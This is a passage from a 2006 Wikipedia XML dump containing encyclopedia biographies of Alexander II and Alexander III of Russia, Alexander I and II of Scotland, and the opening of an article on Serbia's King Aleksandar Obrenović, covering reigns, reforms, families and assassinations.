Under supervision of the liberal poet [[Vasily Zhukovsky]], Alexander received the education commonly given to young Russians of good family at that time: a smattering of a great many subjects, and a good practical acquaintance with the chief modern [[Europe|European]] [[European languages|languages]]. He took little personal interest in military affairs. To the disappointment of his father, who was passionate about the [[military]], he showed no love of soldiering. Alexander gave evidence of a kind disposition and a tender-heartedness which were considered out of place in one destined to become a military [[autocrat]].

==Marriages and Children==
[[Image:Cartetsar.JPG|thumb|right|Tsar Alexander II, his wife Marie and son, the future Alexander III]]
On [[April 16]] [[1841]] he married [[Marie of Hesse and by Rhine|Princess Marie of Hesse]] in St. Petersburg, the daughter of [[Ludwig II, Grand Duke of Hesse and by Rhine]], thereafter known as [[Empress Maria Alexandrovna of Russia|Maria Alexandrovna]]. The marriage produced six sons and two daughters:
* [[Alexandra Alexandrovna]] (1842-1849).
* [[Nicholas Alexandrovich]] (1843-1865). He was engaged to princess Dagmar of Denmark, who later married his brother Alexander III under the name [[Maria Fyodorovna (Dagmar of Denmark)|Maria Fyodorovna]].
* [[Alexander III of Russia|Alexander Alexandrovich]], the future emperor
* [[Grand Duchess Maria Alexandrovna of Russia|Maria Alexandrovna]] (1853-1920). Married [[Alfred, Duke of Saxe-Coburg and Gotha]].
* [[Vladimir Alexandrovich of Russia]] (1847-1909). Married Princess Marie of [[Mecklenburg-Schwerin]] and had issue: three sons (Grand Dukes Kirill, Boris and Andrey Vladimirovich) and a daughter (Grand Duchess Elena, who married Prince Nicholas of Greece).
* [[Grand Duke Alexei Alexandrovich of Russia|Alexei Alexandrovich]] (1850-1908). Married Alexandra Zhukovsky and had a son (executed by the Communist regime in 1932).
* [[Grand Duke Sergei Alexandrovich of Russia|Sergei Alexandrovich of Russia]] (1857-1905). Assassinated. Married [[Grand Duchess Elizabeth Fyodorovna|Elisabeth]] of [[Hesse-Darmstadt]], who was murdered by the Bolsheviks in Alapaevsk in 1918. They had no children.
* [[Grand Duke Paul Alexandrovich of Russia|Paul Alexandrovich of Russia]] (1860-1919). Married first [[Alexandra Yurievna of Greece|Alexandra of Greece]] (daughter of [[George I of Greece]]) and second Olga Karnovich von Pistolkors, [[Princess Paley]], and had issue by both. Both Grand Duke Paul and his son Prince [[Vladimir Paley]] (1897-1918), a remarkable poet, were killed by the Bolsheviks.

On [[July 6]] [[1880]], less than a month after Tsarina Maria's death on [[June 8]], Alexander formed a [[morganatic marriage]] with his mistress Princess [[Catherine Dolgoruki]], with whom he already had three children. A fourth child would be born to them before his death.

* George Alexandrovich Romanov Yurievsky (1872-1913). Married Countess Alexandra Zarnekau and had issue. They later divorced.
* Olga Alexandrovna Romanov Yurievsky (1873-1925). Married Count George von [[Merenberg]].
* Boris Alexandrovich Yurievsky (1876-1876).
* Catherine Alexandrovna Romanov Yurievsky (1878-1959). Married first Prince Alexander V. Bariatinsky and second Prince Serge Obolensky, whom she later divorced.

==Emperor== 
[[Image:AlexanderII_of_Russia(monument).jpg|thumb|200px|New monument to Alexander II in front of the [[Cathedral of Christ the Saviour]] in Moscow.]]
Alexander succeeded to the throne upon the death of his father in 1855. The first year of his reign was devoted to the prosecution of the [[Crimean War]], and after the fall of [[Sevastopol]] to negotiations for peace, led by his trusted counselor, [[Alexander Gorchakov|Prince Gorchakov]]. Then he began a period of radical reforms, encouraged by public opinion but carried out with autocratic power. All who had any pretensions to enlightenment declared loudly that the country had been exhausted and humiliated by the war, and that the only way of restoring it to its proper position in Europe was to develop its natural resources and thoroughly to reform all branches of the administration. The government therefore found in the educated classes a new-born public spirit, anxious to assist it in any work of reform that it might think fit to undertake.

Fortunately for Russia the autocratic power was now in the hands of a man who was impressionable enough to be deeply influenced by the spirit of the time, and who had sufficient prudence and practicality to prevent his being carried away by the prevailing excitement into the dangerous region of [[Utopia|utopian]] dreaming. Unlike some of his predecessors, he had no grand, original schemes of his own to impose by force on unwilling subjects, and no pet projects to lead his judgment astray. He looked instinctively with a suspicious, critical eye upon the panaceas which more imaginative and less cautious people recommended. These character traits, together with the peculiar circumstances in which he was placed, determined the part which he was to, in great measure, brought to fruition the reform aspirations of the educated classes.

However, the growth of a revolutionary movement to the &quot;left&quot; of the educated classes led to an abrupt end to Alexander's changes when he was assassinated by a bomb in 1881. It is interesting to note that after Alexander became czar in 1855, he maintained a generally liberal course at the helm while providing a target for numerous assassination attempts (1866,1873,1880).

==Emancipation of the serfs==
:''Main article: [[Emancipation reform of 1861 in Russia]].''

Though he carefully guarded his autocratic rights and privileges, and obstinately resisted all efforts to push him farther than he felt inclined to go, Alexander for several years acted somewhat like a constitutional sovereign of the continental type. Soon after the conclusion of peace, important changes were made in legislation concerning industry and commerce, and the new freedom thus afforded produced a large number of [[limited liability company|limited liability companies]]. At the same time, plans were formed for building a great network of [[railroad|railways]] &amp;mdash; partly for the purpose of developing the natural resources of the country, and partly for the purpose of increasing its power for defense and attack. [[Image:Chenstokhov.jpg|thumb|275px|A monument to Alexander II in [[Jasna Góra Monastery|Chestochowa]].]]

Then it was found that further progress was blocked by a formidable obstacle: the existence of [[serfdom]]. Alexander showed that, unlike his father, he meant to grapple boldly with this difficult and dangerous problem. Taking advantage of a petition presented by the [[Poland|Polish]] [[landed proprietor]]s of the [[Lithuania|Lithuanian]] provinces, and hoping that their relations with the serfs might be regulated in a more satisfactory way (meaning in a way more satisfactory for the proprietors), he authorized the formation of committees &quot;for ameliorating the condition of the peasants,&quot; and laid down the principles on which the amelioration was to be effected.

This step was followed by one still more significant. Without consulting his ordinary advisers, Alexander ordered the Minister of the Interior to send a circular to the provincial governors of European Russia, containing a copy of the instructions forwarded to the governor-general of Lithuania, praising the supposed generous, patriotic intentions of the Lithuanian landed proprietors, and suggesting that perhaps the landed proprietors of other provinces might express a similar desire. The hint was taken: in all provinces where serfdom existed, emancipation committees were formed.

The deliberations at once raised a host of important, thorny questions. The emancipation was not merely a humanitarian question capable of being solved instantaneously by imperial ''[[ukase]]''. It contained very complicated problems, deeply affecting the economic, social and political future of the nation.

Alexander had little of the special knowledge required for dealing successfully with such problems, and he had to restrict himself to choosing between the different measures recommended to him. The main point at issue was whether the serfs should become agricultural labourers dependent economically and administratively on the landlords, or whether they should be transformed into a class of independent communal proprietors. The emperor gave his support to the latter project, and the Russian peasantry became one of the last groups of peasants in Europe to shake off serfdom.

The architects of the emancipation manifesto were Alexander's brother [[Grand Duke Konstantin Nikolayevich of Russia|Konstantin]], [[Yakov Rostovtsev]], and [[Nikolay Milyutin]]. On [[March 3]] [[1861]], the sixth anniversary of his accession, the emancipation law was signed and published.

==Other reforms==
[[Image:AlexII.JPG|thumb|left|200px|A portrait of Alexander II in St. Petersburg]]
Other reforms followed: [[army]] and [[navy]] re-organization (1874); a new judicial administration based on the [[France|French]] model (1864); a new [[penal code]] and a greatly simplified system of civil and criminal procedure; an elaborate scheme of local self-government for the rural districts (1864) and the large towns (1870), with elective assemblies possessing a restricted right of [[taxation]], and a new rural and municipal [[police]] under the direction of the [[MVD|Minister of the Interior]].

However, the workers wanted better worker conditions; national minorities wanted freedom.  When radicals began to resort to the formation of secret societies and to revolutionary agitation, Alexander II felt constrained to adopt severe repressive measures.

Alexander II resolved to try the effect of some moderate liberal reforms in an attempt to quell the revolutionary agitation, and for this purpose he instituted a [[ukase]] for creating special commissions, composed of high officials and private personages who should prepare reforms in various branches of the administration.

==Suppression of national movements==
At the beginning of his reign, Alexander expressed the famous statement &quot;No dreams&quot; addressed for Poles, populating [[Congress Poland]], Western [[Ukraine]], [[Lithuania]], [[Livonia]] and [[Belarus]]. The result was the [[January Uprising]] of 1863-4 that was suppressed after eighteen months of fighting. Thousands of Poles were executed, tens of thousands were deported to [[Siberia]]. The price for suppression was Russian support for Prussian-united Germany. Twenty years later, Germany became the major enemy of Russia on continent.

All territories of the former [[Poland-Lithuania]] were excluded from liberal polices introduced by Alexander. The martial law in Lithuania, introduced in 1863, lasted for the next 50 years. Native languages, [[Lithuanian language|Lithuanian]], [[Ukrainian language|Ukrainian]] and [[Belarusian language|Belarusian]] were completely banned from printed texts, see, e.g., [[Ems Ukase]]. The [[Polish language]] was banned in both oral and written form from all provinces except [[Congress Kingdom]], where it was allowed in private conversations only .

==Assassination attempts==
In [[1866]] there was an attempt on his life in [[Petersburg]] by [[Dmitry Karakozov]]. To commemorate his narrow escape from death (that he referred to only as &quot;the event of April 4, 1866&quot;) he held a competition to design a great gate for the city. Architect, painter and costume designer [[Viktor Hartmann]] won the competition. The design was well-received and Hartmann thought it was his finest work, but it would never be built. The painting of the design later became [[Modest Mussorgsky|Mussorgsky's]] inspiration for ''The Great Gate of Kiev'' from ''[[Pictures at an Exhibition]]''.

On the morning of [[April 20]] [[1879]], Alexander II was walking towards the Square of the Guards Staff and faced Alexander Soloviev, a 33 year-old former student. Having seen a revolver in his hands, the Tsar ran away; Soloviev fired five times but missed. He was sentenced to death and hanged on [[May 28]]. [[Image:Sankt Petersburg Auferstehungskirche 2005 d.jpg|thumb|150px|left|The [[Church of the Savior on Blood]] commemorates the spot where Alexander was assassinated.]]

The student acted on his own, but other revolutionaries were keen to kill Alexander. In December [[1879]], the [[Narodnaya Volya]] (People's Will), a radical revolutionary group which hoped to ignite a social revolution, organised an explosion on the railway from [[Livadia]] to [[Moscow]], but they missed the Tsar's train. Subsequently, on the evening of [[February 5]], [[1880]] the same revolutionaries set off a charge under the dining room of the [[Winter Palace]], right in the resting room of the Guards a story below. The Tsar was not harmed as he was late to the supper, and the explosion did not destroy the dining room either, although the floor was heavily damaged.

==Assassination==
After the last assassination attempt, [[Michael Tarielovich, Count Loris-Melikov|Count Loris-Melikov]] was appointed the head of the Supreme Executive Commission and given extraordinary powers to fight the revolutionaries. Loris-Melikov's proposals called for some form of parliamentary body, and the Emperor seemed to agree; these plans were never realized as on [[March 13]] ([[March 1]] [[Old Style and New Style dates|Old Style]]), [[1881]] Alexander fell victim to a [[Nihilist]] plot. While driving on one of the central streets of [[St. Petersburg]], near the [[Winter Palace]], he was mortally wounded by the explosion of hand-made grenades and died a few hours afterwards. [[Nikolai Kibalchich]], [[Sophia Perovskaya]], [[Nikolai Rysakov]], [[Timofei Mikhailov]], and [[Andrei Zhelyabov]] were all arrested and sentenced to death. [[Gesya Gelfman]] was sent to [[Siberia]]. The Tsar was killed by the Pole [[Ignacy Hryniewiecki]] (1856-1881), who died during the attack. Hryniewiecki was a Pole from  (Bobrujsk, now [[Babruysk]], [[Belarus]]). The Russians had instigated a complete ban on the [[Polish language]] in public places, schools, and offices in a process now known as [[Russification]]. This Russification scheme, it is theorized, led to Hryniewiecki's resolve to assassinate Alexander II.

&lt;br style=&quot;clear:both;&quot;&gt;

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{{succession box|title=[[List of Russian monarchs|Emperor of Russia]]|before=[[Nicholas I of Russia|Nicholas I]]|after=[[Alexander III of Russia|Alexander III]]|years=[[March 2]], [[1855]]&amp;ndash;[[March 13]], [[1881]]}}
{{end box}}

-------
{{1911}}

== External links ==
*[http://www.bbc.co.uk/radio4/history/inourtime/inourtime_20050106.shtml The Assassination of Tsar Alexander II] from [[In Our Time (BBC Radio 4)]]

[http://www.emich.edu/public/history/moss/ Alexander II and His Times]
 
{{Commons|Alexander II of Russia}}

[[Category:1818 births|Alexander II of Russia]]
[[Category:1881 deaths|Alexander II of Russia]]
[[Category:Assassinated people|Alexander II of Russia]]
[[Category:Crimean War people|Alexander II of Russia]]
[[Category:Holstein-Gottorp-Romanov]]
[[Category:Knights of the Garter]]
[[Category:Murder victims|Alexander II of Russia]]
[[Category:Murdered Russian monarchs]]
[[Category:Muscovites]]
[[Category:Russian emperors]]
[[Category:Rulers of Finland|Alexander II of Russia]]

[[ca:Alexandre II de Rússia]]
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[[he:אלכסנדר השני קיסר רוסיה]]
[[io:Aleksandr 2ma]]
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[[zh:亚历山大二世 (俄国)]]</text>
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  <page>
    <title>Alexander III of Russia</title>
    <id>1592</id>
    <revision>
      <id>41903215</id>
      <timestamp>2006-03-02T14:22:50Z</timestamp>
      <contributor>
        <ip>72.146.174.75</ip>
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      <comment>/* Principles */</comment>
      <text xml:space="preserve">'''Alexander (Aleksandr) III ([[Russian language|Russian]]: Александр III Александрович)''' (b.[[March 10]], [[1845]] &amp;ndash; d.[[November 1]], [[1894]]) reigned as [[Tsar|Emperor]] of [[Russia]] from [[March 14]], [[1881]] until his death.

&lt;!--Ivan Kramskoi (1837-1887) Portrait of Alexander III (1845-1894), the Russian Tsar. 1886 --&gt;
[[Image:Kramskoy Alexander III.jpg|thumb|Painting of Tsar Alexander III (1886), by [[Ivan Kramskoi]] (1837-1887), original, 41 x 36 in.]]
==Principles==
Alexander was born in [[Saint Petersburg]], the second son of [[Alexander II of Russia|Alexander II]] and [[Marie of Hesse and by Rhine]]. In natural disposition he bore little resemblance to his soft-hearted, liberal minded father, and still less to his refined, philosophic, sentimental, chivalrous, yet cunning grand-uncle [[Alexander I of Russia|Alexander I]], who coveted the title of &quot;the first gentleman of [[Europe]].&quot; While an enthusiastic amateur musician and patron of the ballet, he was seen as lacking exquisite refinement and studied elegance. Indeed, he rather gloried in the idea of being of the same rough texture as the great majority of his subjects. His straightforward, abrupt manner savoured sometimes of gruffness, while his direct, unadorned method of expressing himself harmonized well with his rough-hewn, immobile features and somewhat sluggish movements. His education was not fitted to soften these peculiarities. He is also noted for his immense physical strength.

==Rise to Power==
During the first twenty years of his life he had no prospect of succeeding to the throne, because he had an elder brother, Nicholas, who seemed of a fairly robust constitution. Even when this elder brother showed symptoms of delicate health it was believed that his life might be indefinitely prolonged by proper care and attention, and precautions had been taken for the succession by his betrothal with the beautiful princess [[Dagmar of Denmark]].  Under these circumstances the greatest solicitude was devoted to the education of Nicholas as csarevich, whereas Alexander received only the perfunctory and inadequate training of an ordinary grand-duke of that period, which did not go much beyond and secondary instruction, practical acquaintance with French, English and German, and a certain amount of military drill.

==Education==
When he became heir-apparent by the death of his elder brother in 1865, he began to study the principles of law and administration under [[Konstantin Pobedonostsev]], who was then a professor of civil law at [[Moscow State University]] and who later (in 1880) became [[chief procurator]] of the [[Holy Synod]]. Pobedonostsev awakened in his pupil very little love for abstract studies or prolonged intellectual exertion, but he influenced the character of Alexander's reign by instilling into the young man's mind the belief that zeal for [[Russian Orthodoxy|Russian Orthodox]] thought was an essential factor of Russian patriotism and was to be specially cultivated by every right-minded tsar.

On his deathbed, his elder brother had expressed a wish that his affianced bride, Princess Dagmar of Denmark, should marry his successor, and this wish was realized on [[November 9]] [[1866]].  The union proved a most happy one and remained unclouded to the end.  During those years when he was heir-apparent&amp;mdash;[[1865]] to [[1881]]&amp;mdash;he did not play a prominent part in public affairs, but he allowed it to become known that he had certain ideas of his own which did not coincide with the principles of the existing government.
==Foreign Relations== [[Image:Paris(Seine).JPG|thumb|275px|Pont Alexandre III in [[Paris]] commemorates the conclusion of the [[Franco-Russian Alliance]].]]
He deprecated what he considered undue foreign influence in general, and German influence in particular, and he longed to see the adoption of genuine national principles in all spheres of official activity, with a view to realizing his ideal of a homogeneous Russia&amp;mdash;homogeneous in language, administration and religion.  With such ideas and aspirations he could hardly remain permanently in cordial agreement with his father, who, though a good patriot according to his lights, had strong German sympathies, often used the German language in his private relations, occasionally ridiculed the exaggerations and eccentricities of the Slavophiles and based his foreign policy on the Prussian alliance.

The antagonism first appeared publicly during the [[Franco-Prussian War]], when the tsar supported the cabinet of [[Berlin]] and the tsarevich did not conceal his sympathies with the French.  It reappeared in an intermittent fashion during the years 1875&amp;ndash;1879, when the Eastern question produced so much excitement in all ranks of Russian society.  At first the tsarevich was more Slavophile than the government, but his [[phlegmatic]] nature preserved him from many of the exaggerations indulged in by others, and any of the prevalent popular illusions he may have imbibed were soon dispelled by personal observation in [[Bulgaria]], where he commanded the left wing of the invading army.

The [[Bulgaria|Bulgarians]] had been represented in [[Saint Petersburg|St. Petersburg]]  and [[Moscow]] not only as martyrs but also as saints, and a very little personal experience sufficed to correct the error.  Like most of his brother officers he could not feel any very great affection for the &quot;little brothers&quot;, as the Bulgarians were then commonly called, and he was constrained to admit that the Turks were by no means so black as they had been painted.  He did not, however, scandalize the believers by any public expression of his opinions, and did not indeed make himself conspicuous in any way during the campaign.  Never consulted on political questions, he confined himself to his military duties and fulfilled them in a conscientious and unobtrusive manner.  After many mistakes and disappointments, the army reached [[Constantinople]] and the treaty of San Stefano was signed, but much that had been obtained by that important document had to be sacrificed at the congress of [[Berlin]].  Prince [[Otto von Bismarck|Bismarck]] failed to do what was confidently expected of him. 

In return for the Russian support, which had enabled him to create the German empire, it was thought that he would help Russia to solve the Eastern question in accordance with her own interests, but to the surprise and indignation of the cabinet of St. Petersburg he confined himself to acting the part of &quot;honest broker&quot; at the congress, and shortly afterwards he ostentatiously contracted an alliance with [[Austria]] for the express purpose of counteracting Russian designs in Eastern Europe.  The tsarevich could point to these results as confirming the views he had expressed during the Franco-Prussian War, and he drew from them the practical conclusion that for Russia the best thing to do was to recover as quickly as possible from her temporary exhaustion and to prepare for future contingencies by a radical scheme of military and naval reorganization.  In accordance with this conviction, he suggested that certain reforms should be introduced.

==Anti-reforms== [[Image:Aleximpressio.jpg|thumb|left|300px|[[Paolo Troubetzkoy]]'s equestrian monument to Alexander III (1900-06) brilliantly conveys the impression of brutal power that the tsar was said to emanate.]]

During the campaign in Bulgaria he had found by painful experience that grave disorders and gross corruption existed in the military administration, and after his return to St. Petersburg he had discovered that similar abuses existed in the naval department.  For these abuses, several high-placed personages&amp;mdash;among others two of the grand-dukes&amp;mdash;were believed to be responsible, and he called his father's attention to the subject.  His representations were not favourably received.  Alexander II had lost much of the reforming zeal which distinguished the first decade of his reign, and had no longer the energy required to undertake the task suggested to him.  The consequence was that the relations between father and son became more strained.  The latter must have felt that there would be no important reforms until he himself succeeded to the direction of affairs.  That change was much nearer at hand than was commonly supposed.  On the [[13 March]] [[1881]] Alexander II was assassinated by a band of [[Nihilist]]s, [[Narodnaya Volya]] (People's Will),  and the autocratic power passed to the hands of his son. 

In the last years of his reign, Alexander II had been much exercised by the spread of Nihilist doctrines and the increasing number of anarchist conspiracies, and for some time he had hesitated between strengthening the hands of the executive and making concessions to the widespread political aspirations of the educated classes.  Finally he decided in favour of the latter course, and on the very day of his death he signed an ukaz, creating a number of consultative commissions which might have been easily transformed into an assembly of notables.

Following advice of his political mentor [[Konstantin Pobedonostsev]], Alexander III determined to adopt the opposite policy.  He at once cancelled the ukaz before it was published, and in the manifesto announcing his accession to the throne he let it be very clearly understood that he had no intention of limiting or weakening the autocratic power which he had inherited from his ancestors.  Nor did he afterwards show any inclination to change his mind.

All the internal reforms which he initiated were intended to correct what he considered as the too liberal tendencies of the previous reign, so that he left behind him the reputation of a sovereign of the retrograde type.  In his opinion Russia was to be saved from anarchical disorders and revolutionary agitation, not by the parliamentary institutions and so-called liberalism of western Europe, but by the three principles which the elder generation of the Slavophils systematically recommended&amp;mdash;nationality, Eastern Orthodoxy and autocracy.  His political ideal was a nation containing only one nationality, one language, one religion and one form of administration; and he did his utmost to prepare for the realization of this ideal by imposing the Russian language and Russian schools on his German, Polish and Finnish subjects, by fostering Eastern Orthodoxy at the expense of other confessions, by persecuting the [[Jew]]s and by destroying the remnants of German, Polish and Swedish institutions in the outlying provinces. [[Image:Siberianbarber.jpg|thumb|[[Nikita Mikhalkov]] as Tsar Alexander III in his movie ''The Barber of Siberia'' (1998).]]

In the other provinces he sought to counteract what he considered the excessive liberalism of his father's reign.  For this purpose he removed what little power had by zemstvo, an elective local administration resembling the county and parish councils in [[England]], had and placed the autonomous administration of the peasant communes under the supervision of landed proprietors appointed by the government.  At the same time he sought to strengthen and centralize the imperial administration, and to bring it more under his personal control.

In foreign affairs he was emphatically a man of peace, but not at all a partisan of the doctrine of peace at any price, and he followed the principle that the best means of averting war is to be well prepared for it.  Though indignant at the conduct of Prince Bismarck towards Russia, he avoided an open rupture with Germany, and even revived for a time the Three Emperors' Alliance.

It was only in the last years of his reign, when [[Mikhail Katkov]] had acquired a certain influence over him, that he adopted towards the cabinet of [[Berlin]] a more hostile attitude, and even then he confined himself to keeping a large quantity of troops near the German frontier, and establishing cordial relations with France.  With regard to Bulgaria he exercised similar self-control.  The efforts of Prince Alexander and afterwards of Stamboloff to destroy Russian influence in the principality excited his indignation, but he persistently vetoed all proposals to intervene by force of arms.

In [[1887]], once again the Peoples Will planned the murder of Tsar Alexander III. Among the conspirators captured were one [[Aleksandr Ulyanov]]. Ulyanov was sentenced to death and hanged on [[May 5]] [[1887]]. Alexander Ulyanov was the brother of Vladimir Ilyich Ulyanov, who would later take the pseudonym [[Vladimir Lenin|V.I. Lenin]].

In [[Central Asia]]n affairs he followed the traditional policy of gradually extending Russian domination without provoking a conflict with the [[United Kingdom]], and he never allowed the bellicose partisans of a forward policy to get out of hand.  As a whole his reign cannot be regarded as one of the eventful periods of Russian history; but it must be admitted that under his hard unsympathetic rule the country made considerable progress.  He died at [[Livadiya]] on the [[November 1|1st of November]] [[1894]] and was buried at the [[Peter and Paul Fortress]] in [[Saint Petersburg|St. Petersburg]]. Alexander III was succeeded by his eldest son [[Nicholas II of Russia]].

==Children==
Alexander III had six children of his marriage with [[Dagmar of Denmark|Princess Dagmar of Denmark]], later known as Marie Feodorovna:
*[[Nicholas II of Russia|Tsar Nikolai II]] ([[May 6]], [[1868]] - [[July 17]], [[1918]]).
*[[Grand Duke Alexander Alexandrovich of Russia]] ([[June 7]], [[1869]] - [[May 2]], [[1870]]).
*[[Grand Duke George Alexandrovich of Russia]] ([[May 6]], [[1871]] - [[August 9]], [[1899]]).
*[[Grand Duchess Xenia Alexandrovna of Russia]] ([[April 6]], [[1875]] - [[April 20]], [[1960]]).
*[[Michael II of Russia|Grand Duke Mikhail Alexandrovich of Russia]] ([[November 22]], [[1878]] - c. [[June 12]], [[1918]]).
*[[Grand Duchess Olga Alexandrovna of Russia]] ([[June 13]], [[1882]] - [[November 24]], [[1960]]).

{{start box}}
{{succession box|title=[[List of Russian rulers|Emperor of Russia]]|after=[[Nicholas II of Russia|Nicholas II]]|before=[[Alexander II of Russia|Alexander II]]|years='''[[March 14]][[1881]] &amp;ndash; [[November 1]][[1894]]'''}}
{{end box}} {{Commons|Alexander III of Russia}}

==References==
*{{1911}}

== External links ==
*[http://www2.sptimes.com/treasures/TC.2.3.18.html A short biography]
*[http://www.alexanderpalace.org/palace/alexbio.html Another biography]
*[http://www.macgregorishistory.com/ibsvenska/alexanderiiishortpaper.htmpobedon Policies of Alexander III]
*[http://www.findagrave.com/cgi-bin/fg.cgi?page=gr&amp;GRid=7033272&amp;pt=Alexander%20III%20Romanov FindAGrave] 'Alexander III Alexandrovich Romanov'

[[Category:1845 births|Alexander III of Russia]]
[[Category:1894 deaths|Alexander III of Russia]]
[[Category:Natives of Saint Petersburg]]
[[Category:Holstein-Gottorp-Romanov]]
[[Category:House of Glücksburg]]
[[Category:Russian emperors]]
[[Category:Rulers of Finland|Alexander III of Russia]]
[[Category:Knights of the Garter]]

[[ca:Alexandre III de Rússia]]
[[de:Alexander III. (Russland)]]
[[et:Aleksander III]]
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[[eo:Aleksandro la 3-a (Rusio)]]
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[[uk:Олександр ІІІ (російський імператор)]]
[[zh:亚历山大三世 (俄国)]]</text>
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  </page>
  <page>
    <title>Alexander I of Scotland</title>
    <id>1593</id>
    <revision>
      <id>39039788</id>
      <timestamp>2006-02-10T07:55:32Z</timestamp>
      <contributor>
        <username>Mais oui!</username>
        <id>394460</id>
      </contributor>
      <comment>stub</comment>
      <text xml:space="preserve">'''Alexander I (Alasdair mac Maíl Choluim)''' (c. [[1078]] &amp;ndash; [[April 23]] [[1124]]), called &quot;The Fierce&quot;, king of [[Scotland]], was the fourth son of [[Malcolm III of Scotland|Malcolm Canmore]] by his wife (St) [[Saint Margaret of Scotland | Margaret]], grand-niece of [[Edward the Confessor]]. He was named in honor of [[Pope Alexander II]].

On the death of his brother [[Edgar I of Scotland|Edgar]] in [[1107]] he succeeded to the Scottish crown; but, in accordance with Edgar's instructions, he inherited only a part of its possessions.  By a partition, the motive of which is not quite certain, the districts south of the Forth and Clyde were erected into an [[earldom]] for Alexander's younger brother, David.

Alexander, dissatisfied, sought to obtain the whole, but without success. A curious combination of the fierce warrior and the pious churchman, he manifested the one aspect of his character in his ruthless suppression of an insurrection on behalf of the descendants of [[Lulach I of Scotland|Lulach]] in his northern dominion (thus gaining for himself the title of &quot;the Fierce&quot;), the other in his munificent foundation of bishoprics and abbeys. Among the latter were those of [[Scone, Perthshire|Scone]] and [[Inchcolm]].

In 1107, he married Sybilla, an illegitimate daughter of [[Henry I of England]]. The exact date and the location of the marriage are not recorded. Sybilla died in unrecorded circumstances on the Island of the Woman (''Eilean nam Ban'') on Loch Tay in July, [[1122]]. The marriage produced no children.  

Alexander's strong championing of the independence of the Scottish church involved him in struggles with both of the English metropolitan sees. He died on April 23, 25 or 27, 1124 at his court at Stirling; his brother, [[David I of Scotland | David I]] succeeded him. The historian John of Fordun said of him: ''&quot;[Alexander] was humble and courteous to the clergy, but, to the rest of his subjects, terrible beyond measure.&quot;''

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{{succession box |
  title=[[King of Scots]] |
  before=[[Edgar of Scotland|Edgar]] |
  after=[[David I of Scotland|David I]] |
  years=1107&amp;ndash;1124
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[[Category:1078 births]]
[[Category:1124 deaths]]
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  <page>
    <title>Alexander II of Scotland</title>
    <id>1594</id>
    <revision>
      <id>40996053</id>
      <timestamp>2006-02-24T10:24:09Z</timestamp>
      <contributor>
        <username>Chochopk</username>
        <id>170745</id>
      </contributor>
      <minor />
      <comment>adding years to the succession box</comment>
      <text xml:space="preserve">'''Alexander II''' ([[August 24]], [[1198]] &amp;ndash; [[July 6]], [[1249]]), king of [[Scotland]], son of [[William I of Scotland|William I]], the Lion, and of [[Ermengarde of Beaumont]], was born at [[Haddington, East Lothian|Haddington]], [[East Lothian]], in [[1198]], and succeeded to the kingdom on the death of his father on [[4 December ]][[1214]].  

The year after his accession the clans MacWilliam and MacHeth, inveterate enemies of the Scottish crown, broke into revolt; but loyalist forces speedily quelled the insurrection. In the same year Alexander joined the English barons in their struggle against [[John I of England]], and led an army into the [[Kingdom of England]] in support of their cause; but after John's death, on the conclusion of peace between his youthful son [[Henry III of England]] and the French prince [[Louis VIII of France]], the Scottish king joined in the pacification.  Diplomacy further strengthened the reconciliation by the marriage of Alexander to Henry's sister [[Joan of England]] on [[June 18]] or [[June 25]], [[1221]].  

The next year marked the subjection of the hitherto semi-independent district of [[Argyll]].  Royal forces crushed a revolt in [[Galloway]] in [[1235]] without difficulty; nor did an invasion attempted soon afterwards by its exiled leaders meet with success.  Soon afterwards a claim for homage from Henry of [[England]] drew forth from Alexander a counter-claim to the northern English counties.  The two kingdoms, however, settled this dispute by a compromise in [[1237]].

Joanna died in March, [[1238]] in Essex, and in the following year, [[1239]], Alexander remarried. His second wife was Mary of Coucy (Marie de Coucy). The marriage took place on [[May 15]] [[1239]], and produced one son, the future [[Alexander III of Scotland | Alexander III]], born in [[1241]]. 

A threat of invasion by Henry in [[1243]] for a time interrupted the friendly relations between the two countries; but the prompt action of Alexander in anticipating his attack, and the disinclination of the English barons for war, compelled him to make peace next year at [[Newcastle upon Tyne|Newcastle]].  Alexander now turned his attention to securing the [[Western Isles]], which still owed a nominal allegiance to [[Norway]].  He successively attempted negotiations and purchase, but without success.  Alexander next attempted to dissuade Ewen, the son of Duncan, Lord of Argyll, to sever his allegiance to [[Haakon IV of Norway]].  Ewen rejected these attempts, and Alexander sailed forth to compel him.  

But on the way he suffered a fever at the Isle of [[Kerrera]] in the [[Inner Hebrides]], and died there in [[1249]]. He was buried at [[Melrose Abbey]], [[Roxburghshire]].
His son [[Alexander III of Scotland|Alexander III]] succeeded him as King of Scots.

{{start box}}
{{succession box |
  before=[[William I of Scotland|William I]] |
  title=[[King of Scots]] |
  years=1214&amp;ndash;1249| 
  after=[[Alexander III of Scotland|Alexander III]]
}}
{{end box}}

[[Category:1198 births]]
[[Category:1249 deaths]]
[[Category:Natives of East Lothian]]
[[Category:Scottish monarchs]]
[[Category:House of Dunkeld]]
[[Category:House of Anjou]]
[[Category:Medieval_Gaels]]

[[de:Alexander II. (Schottland)]]
[[fr:Alexandre II d'Écosse]]
[[ja:アレグザンダー2世 (スコットランド王)]]
[[pl:Aleksander II (król Szkocji)]]
[[sv:Alexander II av Skottland]]
[[uk:Александр ІІ (король Шотландії)]]
[[zh:亚历山大二世 (苏格兰)]]</text>
    </revision>
  </page>
  <page>
    <title>Aleksandar Obrenović</title>
    <id>1595</id>
    <revision>
      <id>37449312</id>
      <timestamp>2006-01-31T02:04:45Z</timestamp>
      <contributor>
        <username>Carlossuarez46</username>
        <id>23407</id>
      </contributor>
      <comment>+cat: assassinated kings</comment>
      <text xml:space="preserve">[[Image:KraljAlexObrenovic.jpg|thumb|right|King Aleksandar Obrenović]]

'''Aleksandar Obrenović''' or Александар Обреновић ([[August 14]], [[1876]] - [[June 11]], [[1903]]), was king of [[Serbia]] from [[1889]] to [[1903]].

In [[1889]] his father, [[Milan Obrenovic IV|King Milan]], abdicated and proclaimed Aleksandar king of Serbia under a regency until he should attain his majority at eighteen years of age.

In [[1893]], King Aleksandar, being then in his seventeenth year, made his notable first ''[[coup d'état]]'', proclaimed himself of full age, dismissed the [[regency|regents]] and their government, and took the royal authority into his own hands. His action was popular, and was rendered still more so by his appointment of a radical ministry. 

In May [[1894]] King Aleksandar, by another ''[[coup d'état]]'', abolished the liberal constitution of [[1889]] and restored the conservative one of [[1869]].  His attitude during the Turco-Greek war of [[1897]] was one of strict neutrality. In [[1898]] he appointed his father commander-in-chief of the Serbian army, and from that time, or rather from his return to Serbia in 1894 until [[1900]], [[Milan Obrenovic IV|ex-king Milan]] was regarded as the ''de facto'' ruler of the country.

